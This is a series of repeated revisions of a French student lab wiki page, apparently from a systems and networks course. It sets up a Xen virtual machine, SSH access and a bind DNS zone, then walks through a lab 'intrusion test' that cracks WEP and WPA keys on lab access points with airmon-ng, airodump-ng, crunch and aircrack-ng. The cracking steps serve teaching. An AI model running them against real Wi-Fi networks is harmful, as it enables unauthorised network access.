Le processus peut prendre plusieurs heures.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=56779TP sysres IMA5 2021/2022 G112021-11-29T18:51:38Z<p>Cgodet1 : /* Déploiement site */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 127.0.0.1<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE IN {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On teste que notre configuration est correcte avec :<br />
host -t any ns.corona59.club localhost<br />
ns1 IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=56777TP sysres IMA5 2021/2022 G112021-11-29T18:48:33Z<p>Cgodet1 : /* Déploiement site */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 127.0.0.1<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE IN {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
ns1 IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=56776TP sysres IMA5 2021/2022 G112021-11-29T18:48:03Z<p>Cgodet1 : /* Déploiement site */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 127.0.0.1<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE IN {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
ns1 IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=56753TP sysres IMA5 2021/2022 G112021-11-29T18:26:23Z<p>Cgodet1 : /* Déploiement site */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=56747TP sysres IMA5 2021/2022 G112021-11-29T18:21:07Z<p>Cgodet1 : /* Configuration de la VM */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
